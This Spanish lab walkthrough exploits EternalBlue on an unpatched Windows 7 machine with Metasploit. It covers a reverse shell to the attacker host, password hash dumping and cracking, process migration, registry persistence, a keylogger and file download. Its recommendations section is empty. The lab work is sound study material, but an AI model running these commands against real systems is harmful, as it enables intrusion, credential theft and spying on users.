Introducción

Este laboratorio simula el ataque EternalBlue (MS17-010) contra una máquina Windows 7 deliberadamente sin parchear, usando Metasploit de principio a fin: no solo la explotación inicial, sino toda la fase de post-explotación — extracción de hashes, migración de proceso, persistencia y keylogger.

Requisitos: una máquina Windows 7 vulnerable a EternalBlue, Kali Linux, y ambas conectadas por red NAT.

Reconocimiento

Antes de lanzar nada, confirmar que la máquina es realmente vulnerable:

nmap -sV --script vuln IP

Con la vulnerabilidad confirmada, toca Metasploit.

Explotación: EternalBlue

msfconsole
search exploit eternalblue
use windows/smb/ms17_010_eternalblue
set LHOST <ip_kali>
set RHOSTS <ip_víctima>

Opciones del módulo configuradas: RHOSTS, payload reverse_tcp con LHOST y LPORT

Con las opciones configuradas, exploit:

Salida completa del exploit: verificación de vulnerabilidad, overwrite de EternalBlue completado y sesión Meterpreter abierta

La secuencia es la que hace famoso a este exploit: confirma que el host es vulnerable a MS17-010 (Windows 7 Professional 7601 SP1 x64), vuelca la respuesta SMB en crudo para identificar el sistema operativo exacto, y luego el ataque propiamente dicho — grooming del pool no paginado, envío de los buffers SMBv2, y el momento clave: ETERNALBLUE overwrite completed successfully. Segundos después, sesión Meterpreter abierta.

Con screenshot se puede confirmar en qué estado está la máquina víctima en ese momento:

Pantalla de login de Windows 7 capturada con el comando screenshot de Meterpreter

Extrayendo y crackeando contraseñas

Con la sesión abierta, hashdump saca los hashes NTLM de los usuarios locales:

Salida de hashdump mostrando los hashes de Administrator, Guest y el usuario Jon

Guardando esa salida en un fichero, hashcat se encarga del resto:

hashcat -m 1000 -a 0 hashes.txt /usr/share/wordlists/rockyou.txt

Con la contraseña ya en claro, otro screenshot confirma acceso al escritorio real, más allá de la pantalla de login.

Migrar de proceso

Antes de continuar con persistencia y keylogger, hace falta estabilidad — migrar la sesión a un proceso que no vaya a cerrarse:

meterpreter > ps
meterpreter > migrate <PID>

Lista de procesos en ejecución en la máquina víctima antes de migrar a wininit.exe

Migrando a wininit.exe (un proceso del sistema, no ligado a la sesión de usuario) la persistencia y el keylogger de los siguientes pasos funcionan de forma fiable, sin depender de que el usuario mantenga su sesión abierta.

Persistencia

use windows/local/persistence
run

Módulo de persistencia ejecutado: script VBS escrito en disco y entrada de autorun instalada en el registro

El módulo escribe un script VBS persistente en C:\Windows\TEMP\ y lo engancha al registro (HKCU\Software\Microsoft\Windows\CurrentVersion\Run) para que se ejecute automáticamente sin depender de que el atacante mantenga la sesión abierta.

Para comprobar que la persistencia funciona de verdad, no basta con leer el mensaje de “instalado” — hay que cerrar la sesión y volver a levantar un listener desde cero con multi/handler:

use multi/handler
set LHOST <ip_kali>
run

Nueva sesión Meterpreter reabierta automáticamente gracias a la persistencia instalada

Sesión nueva, sin volver a explotar nada — la máquina se reconecta sola gracias al autorun instalado.

Keylogger

Con la sesión estable (después de la migración de proceso), Meterpreter incluye un keylogger de serie:

meterpreter > keyscan_start
meterpreter > keyscan_dump

Salida de keyscan_dump mostrando las teclas capturadas en la máquina víctima

Y para sacar cualquier fichero de la máquina comprometida, sin más complicación:

meterpreter > download <origen> <destino>

Conclusiones técnicas

Recomendaciones